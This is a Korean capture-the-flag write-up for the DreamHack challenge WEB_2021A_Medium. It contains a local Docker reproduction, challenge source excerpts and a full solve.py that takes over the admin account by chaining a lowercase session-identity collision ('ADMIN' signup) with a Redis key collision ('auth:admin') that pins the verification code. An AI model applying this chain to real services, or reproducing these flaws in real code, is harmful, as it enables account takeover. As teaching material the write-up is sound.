[🥈 Silver 1] 대문자로 가입하면 관리자가 된다 — DreamHack WEB_2021A_Medium 풀이

wc -l extracted/app.py extracted/utils.py && cat extracted/utils.py && echo && ls extracted/templates

# usr = User(userid='admin', password=hashlib.md5(util.SECRET).hexdigest(), email=f'admin@ctfprob.dreamhack.io')
# db.session.add(usr)
# db.session.commit()

@app.route("/flag")
def flag():
    if not is_login():
        return alert("No Signin!")
    myusr = User.query.filter_by(userid=get_userid()).first()
    if myusr.userid == "admin" and myusr.auth:
        return render_template("flag.html", flag=FLAG)
    return alert("No Flag")

grep -n "lower()\|get_userid\|filter_by(userid\|myusr.userid ==\|unique=True" extracted/app.py

FROM python:3.8-slim
RUN apt-get update && apt-get install -y --no-install-recommends redis-server \
 && rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir flask==1.1.2 Werkzeug==1.0.1 Jinja2==2.11.3 \
    itsdangerous==1.1.0 MarkupSafe==1.1.1 flask_sqlalchemy==2.4.4 \
    SQLAlchemy==1.3.20 redis==3.5.3
WORKDIR /app
COPY app.py utils.py init_admin.py ./
COPY templates ./templates
COPY static ./static
COPY start.sh /start.sh
RUN chmod +x /start.sh
EXPOSE 5000
CMD ["/start.sh"]

# 배포본의 utils.py 는 본문이 **DELETED** 라 로컬 재현용으로 최소 구현만 채운다.
# send_mail 은 실제 SMTP 대신 /tmp/mail.log 에 적어 "메일이 나갔다"만 흉내낸다.
def send_mail(email, authcode):
    with open("/tmp/mail.log", "a") as f:
        f.write(f"TO={email} CODE={authcode}\n")
    return True
 
FLAG = "DH{LOCAL_FAKE_FLAG_for_repro_only}"
SECRET = b"local_secret_not_the_real_one"

# app.py 47~49행에 주석으로 남아 있는 admin 계정 생성 코드를 로컬 재현용으로 되살린다.
# flask_sqlalchemy 2.x 의 'sqlite:///db.db' 는 app.root_path 기준이라 /app/db.db 다.
import hashlib, sqlite3
from utils import SECRET
 
con = sqlite3.connect("/app/db.db")
con.execute("""CREATE TABLE IF NOT EXISTS user (
    id INTEGER NOT NULL PRIMARY KEY,
    userid VARCHAR(80) UNIQUE,
    password VARCHAR(80),
    email VARCHAR(80),
    auth BOOLEAN)""")
con.execute("DELETE FROM user")
con.execute("INSERT INTO user (userid, password, email, auth) VALUES (?,?,?,0)",
            ("admin", hashlib.md5(SECRET).hexdigest(), "admin@ctfprob.dreamhack.io"))
con.commit()
print("admin row:", list(con.execute("SELECT id,userid,email,auth FROM user")))

#!/bin/sh
set -e
redis-server --daemonize yes --save '' --appendonly no
sleep 1
python3 init_admin.py
exec python3 app.py

docker build -q -t web2021a-medium local/ && docker run -d --name web2021a -p 15115:5000 web2021a-medium && sleep 5 && curl -s -o /dev/null -w "local index: %{http_code}\n" http://127.0.0.1:15115/

#!/bin/sh
# 대문자 ADMIN 으로 가입했을 때 (1) DB 에 행이 따로 생기는지 (2) 세션엔 뭐가 들어가는지.
# index.html 이 session['info'] 를 <pre> 로 그대로 찍어 주므로 그 블록만 잘라 본다.
# Jinja 가 따옴표를 &#34; 로 이스케이프하니 읽기 좋게 되돌린다.
B=http://127.0.0.1:15115
curl -s -c jar.txt -d 'userid=ADMIN&userpw=zino1234' $B/signup
echo
curl -s -b jar.txt $B/ | sed -n '/<pre>/,/<\/pre>/p' | sed 's/&#34;/"/g'
echo '--- sqlite user 테이블 ---'
docker exec web2021a python3 -c \
  "import sqlite3
for r in sqlite3.connect('/app/db.db').execute('select id,userid,email,auth from user'): print(r)"

sed -n "52,72p" extracted/app.py

class Auth:
    def __init__(self, email):
        self.email = email
        self.emailauth_key = f"auth:{self.email}"        # 인증코드
        self.getcount_key = f"auth_count:{self.email}"   # 확인 시도 횟수
 
    def set(self):
        setcount = conn.get(self.email)                  # ← 발송 횟수는 이메일 '그 자체'
        if setcount:
            setcount = int(setcount) + 1
        else:
            setcount = 1
        if setcount < 5:
            self.random_key = f"{random.randint(111111, 999999):04d}"
            conn.set(self.emailauth_key, self.random_key)
            conn.set(self.getcount_key, "0")
            conn.set(self.email, setcount)               # ← 여기가 문제다
            return True
        else:
            return False

def verify_uid(userid):
    for banword in ["@", " "]:
        if banword in userid:
            return False
    return True
 
# signup 안에서
email=f"{userid}@ctfprob.dreamhack.io",

SET "auth:auth:admin@ctfprob.dreamhack.io"        <6자리 난수>   ← 이 계정의 인증코드
SET "auth_count:auth:admin@ctfprob.dreamhack.io"  0
SET "auth:admin@ctfprob.dreamhack.io"             1              ← 이 계정의 발송 횟수
                                                                 ← = admin 의 인증코드

#!/usr/bin/env python3
"""WEB_2021A_Medium (Dreamhack, Silver 1, web) — 자동 풀이.
 
    python3 solve.py http://host1.dreamhack.games:PORT/
 
취약점 두 개를 이어 붙인다.
 
  (1) 세션 신원의 대소문자 붕괴
      User.to_json() 이 userid 를 .lower() 해서 세션에 넣는다. 반면 DB 의 UNIQUE
      제약은 SQLite 기본 BINARY 비교라 'ADMIN' 과 'admin' 을 다른 값으로 본다.
      그래서 'ADMIN' 으로 가입하면 내 행은 따로 생기는데, 세션의 userid 는 'admin'
      이 되어 이후 모든 User.query.filter_by(userid=...) 가 진짜 admin 행을 가리킨다.
 
  (2) Redis 키 이름 공간의 충돌
      Auth 는 코드를 "auth:<이메일>" 에, 발송 횟수를 "<이메일>" 에 저장한다.
      이메일은 "<userid>@ctfprob.dreamhack.io" 로 userid 에서 만들어지고,
      verify_uid 는 '@' 와 공백만 막는다. userid='auth:admin' 으로 가입하면
      그 계정의 '발송 횟수' 키가 곧 admin 의 '인증코드' 키가 된다.
      발송을 한 번 누르면 그 자리에 횟수 1 이 덮여, 코드가 1 로 고정된다.
 
  ★ 순서가 중요하다. ADMIN 쪽에서 /email_verify 를 먼저 누르면 코드 자리에
    6자리 난수가 들어가고, 키충돌 계정은 그 값을 카운터로 읽어 setcount>=5 가
    되어 영구히 'Too many Auth' 가 된다. 그 인스턴스는 되살릴 수 없다.
"""
import sys, urllib.request, urllib.parse, http.cookiejar
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:15115").rstrip("/")
PW = "zino1234"
 
 
class Sess:
    """쿠키를 따로 들고 다니는 브라우저 한 개."""
 
    def __init__(self, name):
        self.name = name
        self.op = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(http.cookiejar.CookieJar()))
 
    def enter(self, userid):
        """가입을 시도하고, 이미 있는 계정이면 로그인으로 붙는다.
 
        같은 인스턴스에 두 번째로 돌릴 때를 위한 것이다 — 계정은 남아 있는데
        세션만 없는 상태라 signup 은 'Already Signup' 으로 끝난다.
        """
        if "Already Signup" in self.go("/signup", {"userid": userid, "userpw": PW}):
            self.go("/signin", {"userid": userid, "userpw": PW})
 
    def go(self, path, form=None):
        body = urllib.parse.urlencode(form).encode() if form is not None else None
        req = urllib.request.Request(BASE + path, data=body)
        with self.op.open(req, timeout=20) as r:
            text = r.read().decode(errors="replace")
        verb = "POST" if form is not None else "GET "
        # 이 앱은 모든 결과를 alert() 한 줄로 돌려준다. 그 문구만 뽑아 찍는다.
        msg = text[text.find('alert("') + 7: text.find('");')] if 'alert("' in text else "(HTML)"
        print(f"  [{self.name}] {verb} {path:18s} -> {msg}")
        return text
 
 
print(f"[*] target {BASE}")
 
# ── 1단계: 키 충돌 계정. 이메일이 auth:admin@ctfprob.dreamhack.io 가 된다.
print("[1] Redis 키 충돌 계정 생성 + 발송 1회")
keycol = Sess("keycol")
keycol.enter("auth:admin")
#   Auth.set() 안의 conn.set(self.email, setcount) 가
#   SET "auth:admin@ctfprob.dreamhack.io" 1 을 실행한다 = admin 의 인증코드 = "1".
#   메일 발송이 실패해도 Redis 쓰기가 먼저라 결과는 같다.
keycol.go("/email_verify", {})
 
# ── 2단계: 대문자 ADMIN 가입. 세션 userid 가 소문자 admin 으로 내려앉는다.
print("[2] ADMIN(대문자) 가입 — 세션 userid 는 admin 으로 접힌다")
admin = Sess("ADMIN ")
admin.enter("ADMIN")
 
# ── 3단계: 발송을 건너뛰고 바로 확인. 코드 자리에는 1 이 들어 있다.
print("[3] 발송 없이 인증코드 제출 — 코드는 그 계정의 발송 횟수라 1~4 중 하나다")
for code in "1234":
    if "AUTH!" in admin.go("/email_verify_chk", {"code": code}):
        break
 
# ── 4단계: 플래그.
print("[4] /flag")
html = admin.go("/flag")
flag = ""
if "DH{" in html:
    seg = html[html.find("DH{"):]
    flag = seg[:seg.find("}") + 1]
print("\nFLAG:", flag if flag else "(획득 실패 — 위 응답 확인)")

python3 solve.py http://127.0.0.1:15115

#!/bin/sh
# 컨테이너 안 Redis 에 실제로 어떤 키가 생겼는지 이름과 값을 같이 본다.
for k in $(docker exec web2021a redis-cli KEYS '*'); do
  printf '%-45s = %s\n' "$k" "$(docker exec web2021a redis-cli GET "$k")"
done

python3 solve.py http://host3.dreamhack.games:10094/

DH{3cd6941075580d889519fcf1bd422bd1}